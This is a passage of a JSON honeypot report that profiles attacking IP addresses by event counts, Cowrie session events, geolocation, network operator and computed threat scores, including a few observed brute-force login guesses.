        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:28:06.321000+00:00",
        "last_seen_30d": "2026-05-21T15:37:46.064000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "201.238.2.7": {
      "attack_count": 10,
      "first_seen": "2026-05-20T09:15:24.667Z",
      "last_seen": "2026-05-20T11:46:01.084Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:15:24.667000+00:00",
        "last_seen_30d": "2026-05-20T11:47:05.703000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "89.229.150.140": {
      "attack_count": 10,
      "first_seen": "2026-05-03T07:00:40.981Z",
      "last_seen": "2026-05-03T07:04:59.554Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "csgoserver",
        "web"
      ],
      "passwords_attempted": [
        "123123",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "P\u0142ock",
      "asn": 21021,
      "as_org": "Multimedia Polska Sp. z o.o.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:00:40.981000+00:00",
        "last_seen_30d": "2026-05-03T07:06:03.899000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "171.244.184.238": {
      "attack_count": 8,
      "first_seen": "2026-05-24T12:53:50.284Z",
      "last_seen": "2026-05-24T12:55:53.195Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:53:50.284000+00:00",
        "last_seen_30d": "2026-05-24T13:06:42.322000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 8
      }
    },
    "205.210.31.104": {
      "attack_count": 8,
      "first_seen": "2026-05-17T22:52:40.247Z",
      "last_seen": "2026-05-22T04:55:55.734Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 25,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-05T06:08:27.691000+00:00",
        "last_seen_30d": "2026-05-29T23:04:21.869000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 20,
        "Cowrie": 8,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "176.65.132.143": {
      "attack_count": 7,
      "first_seen": "2026-05-06T22:17:01.079Z",
      "last_seen": "2026-05-06T22:17:04.573Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "1234567890"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:17:01.079000+00:00",
        "last_seen_30d": "2026-05-06T22:18:09.996000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "192.151.156.2": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:24:32.011Z",
      "last_seen": "2026-05-05T00:24:38.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33387,
      "as_org": "Nocix, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:24:32.011000+00:00",
        "last_seen_30d": "2026-05-05T00:25:39.294000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "36.32.70.183": {
      "attack_count": 5,
      "first_seen": "2026-05-31T15:43:36.194Z",
      "last_seen": "2026-05-31T15:43:37.997Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "guest"
      ],
      "passwords_attempted": [
        "adminpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:43:36.194000+00:00",
        "last_seen_30d": "2026-05-31T15:44:44.274000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 2
      }
    },
    "45.78.207.244": {
      "attack_count": 5,
      "first_seen": "2026-05-25T07:23:55.844Z",
      "last_seen": "2026-05-25T07:23:57.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user2"
      ],
      "passwords_attempted": [
        "user2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:23:55.844000+00:00",
        "last_seen_30d": "2026-05-25T07:24:58.740000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.84.107.101": {
      "attack_count": 5,
      "first_seen": "2026-05-21T21:40:11.815Z",
      "last_seen": "2026-05-21T21:40:23.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "SangomaDefaultPassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 53.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.4,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 16,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T18:44:16+00:00",
        "last_seen_30d": "2026-05-24T01:28:12.154000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 12,
        "Cowrie": 5,
        "Ciscoasa": 1
      }
    },
    "74.249.192.245": {
      "attack_count": 5,
      "first_seen": "2026-05-27T18:42:57.219Z",
      "last_seen": "2026-05-27T18:43:07.571Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:15:42.414000+00:00",
        "last_seen_30d": "2026-05-27T18:44:13.358000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5
      }
    },
    "101.96.202.48": {
      "attack_count": 4,
      "first_seen": "2026-05-27T12:17:33.356Z",
      "last_seen": "2026-05-27T12:17:34.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T12:17:33.356000+00:00",
        "last_seen_30d": "2026-05-27T12:18:39.913000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "114.33.12.13": {
      "attack_count": 4,
      "first_seen": "2026-05-24T15:09:04.945Z",
      "last_seen": "2026-05-24T17:15:07.572Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:09:04.945000+00:00",
        "last_seen_30d": "2026-05-24T17:16:11.383000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.147": {
      "attack_count": 4,
      "first_seen": "2026-05-25T10:41:36.389Z",
      "last_seen": "2026-05-25T10:41:39.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.2,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 12,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-19T03:46:19.014000+00:00",
        "last_seen_30d": "2026-05-30T02:44:14.827000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 15,
        "Cowrie": 4,
        "ConPot": 1,
        "ElasticPot": 1
      }
    },
    "198.235.24.204": {
      "attack_count": 4,
      "first_seen": "2026-05-05T04:35:12.903Z",
      "last_seen": "2026-05-05T04:35:15.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T20:19:09+00:00",
        "last_seen_30d": "2026-05-31T07:08:15.611000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 20,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "20.163.32.79": {
      "attack_count": 4,
      "first_seen": "2026-05-29T07:44:49.419Z",
      "last_seen": "2026-05-29T07:44:59.875Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 69.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T16:15:10.886000+00:00",
        "last_seen_30d": "2026-05-29T18:45:29.011000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 8,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "102.179.6.32": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:25:31.594Z",
      "last_seen": "2026-05-16T18:25:44.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Burkina Faso",
      "country_code": "BF",
      "city": null,
      "asn": 37577,
      "as_org": "Orange",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:25:31.594000+00:00",
        "last_seen_30d": "2026-05-16T18:26:45.509000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.131.245.167": {
      "attack_count": 2,
      "first_seen": "2026-05-04T05:56:29.583Z",
      "last_seen": "2026-05-04T05:58:29.585Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 134655,
      "as_org": "PT. DUMAI MANDIRI NET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:56:29.583000+00:00",
        "last_seen_30d": "2026-05-04T06:09:11.857000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.219.123.59": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:10:23.222Z",
      "last_seen": "2026-05-11T09:10:37.875Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:10:23.222000+00:00",
        "last_seen_30d": "2026-05-11T09:11:46.978000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.168.171.18": {
      "attack_count": 2,
      "first_seen": "2026-05-12T12:45:55.573Z",
      "last_seen": "2026-05-12T12:46:09.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T12:45:55.573000+00:00",
        "last_seen_30d": "2026-05-12T12:47:17.352000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.194.108.203": {
      "attack_count": 2,
      "first_seen": "2026-05-27T08:04:56.804Z",
      "last_seen": "2026-05-27T08:06:56.806Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 41786,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T08:04:56.804000+00:00",
        "last_seen_30d": "2026-05-27T08:17:03.950000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "112.113.128.67": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:49:32.570Z",
      "last_seen": "2026-05-23T08:49:59.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:49:32.570000+00:00",
        "last_seen_30d": "2026-05-23T08:51:04.126000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.224.117.136": {
      "attack_count": 2,
      "first_seen": "2026-05-21T07:39:58.054Z",
      "last_seen": "2026-05-21T07:40:53.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:39:58.054000+00:00",
        "last_seen_30d": "2026-05-21T07:41:56.779000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.100.102.248": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:58:53.892Z",
      "last_seen": "2026-05-23T09:59:06.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:58:53.892000+00:00",
        "last_seen_30d": "2026-05-23T10:00:10.510000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.18.100.123": {
      "attack_count": 2,
      "first_seen": "2026-05-02T10:57:17.179Z",
      "last_seen": "2026-05-02T10:57:33.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeongsan-si",
      "asn": 9770,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:57:17.179000+00:00",
        "last_seen_30d": "2026-05-02T10:58:41.885000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.119.69.97": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:15:20.281Z",
      "last_seen": "2026-05-08T03:15:32.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:15:20.281000+00:00",
        "last_seen_30d": "2026-05-08T03:16:39.047000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.124.199.234": {
      "attack_count": 2,
      "first_seen": "2026-05-17T19:49:13.569Z",
      "last_seen": "2026-05-17T19:49:26.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T19:49:13.569000+00:00",
        "last_seen_30d": "2026-05-17T19:50:34.746000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.56.231.154": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:39:35.816Z",
      "last_seen": "2026-05-12T02:39:48.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:39:35.816000+00:00",
        "last_seen_30d": "2026-05-12T02:49:57.315000+00:00",
        "days_since_last_seen": 19
      },
